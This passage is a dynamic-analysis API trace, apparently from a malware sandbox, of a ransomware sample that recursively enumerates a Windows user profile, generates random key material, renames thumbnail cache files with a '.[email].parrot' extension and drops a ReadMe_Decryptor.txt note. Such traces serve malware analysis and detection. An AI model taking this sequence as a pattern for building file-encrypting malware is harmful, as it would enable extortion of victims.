hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.663] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.664] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.665] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.666] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.666] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.667] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.668] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.669] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.670] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.671] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.672] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.673] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.674] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.674] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.675] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.676] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.677] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.053] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65ce08 | out: hHeap=0x5b0000) returned 1 [0095.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0095.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0095.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18fb1c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0095.056] GetFileType (hFile=0x23c) returned 0x1 [0095.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6572a0 [0095.173] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65ce08 | out: hHeap=0x5b0000) returned 1 [0095.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0095.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c230 | out: hHeap=0x5b0000) returned 1 [0095.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0095.183] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6604e0 | out: hHeap=0x5b0000) returned 1 [0095.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0095.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0095.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0095.293] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6604e0 | out: hHeap=0x5b0000) returned 1 [0095.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0095.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c230 | out: hHeap=0x5b0000) returned 1 [0095.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0095.304] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65ce08 | out: hHeap=0x5b0000) returned 1 [0095.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221d090 | out: hHeap=0x5b0000) returned 1 [0095.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0095.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0095.309] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0095.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6604e0 | out: hHeap=0x5b0000) returned 1 [0095.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0095.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0095.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0095.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c230 | out: hHeap=0x5b0000) returned 1 [0095.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0095.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218168 [0095.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0095.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0096.724] CryptAcquireContextA (in: phProv=0x18fc98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18fc98*=0x60c5e8) returned 1 [0096.741] CryptGenRandom (in: hProv=0x5e61c8, dwLen=0x20, pbBuffer=0x60d308 | out: pbBuffer=0x60d308) returned 1 [0096.741] CryptReleaseContext (hProv=0x60c5e8, dwFlags=0x0) returned 1 [0096.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0096.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0096.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0096.744] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbf0 | out: lpPerformanceCount=0x18fbf0*=23861533958) returned 1 [0096.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc30 | out: lpSystemTimeAsFileTime=0x18fc30*(dwLowDateTime=0xc6fa85e0, dwHighDateTime=0x1d5e09d)) [0096.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0096.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0096.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0096.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0096.753] GetLastError () returned 0x0 [0096.756] FindFirstFileExW (in: lpFileName="C:\\Users\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x600310 [0096.756] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.756] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.758] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.758] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.758] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0096.758] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0096.758] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0096.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0096.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0096.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0096.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7600 [0096.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.758] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0096.758] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.758] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.759] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.759] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.759] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0096.759] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0096.759] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0096.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7fd8 [0096.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0096.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0096.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb818 [0096.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.759] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0096.760] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.760] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.761] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae1a900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae1a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0096.761] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0096.761] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x5c2680 [0096.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0096.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b680 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.761] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0096.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.761] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae1a900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae1a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.761] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0096.761] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0096.761] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x694268 [0096.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0096.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.761] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.762] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.762] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.762] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.762] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.762] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0096.762] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0096.762] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0096.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x601838 [0096.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0096.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.762] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", 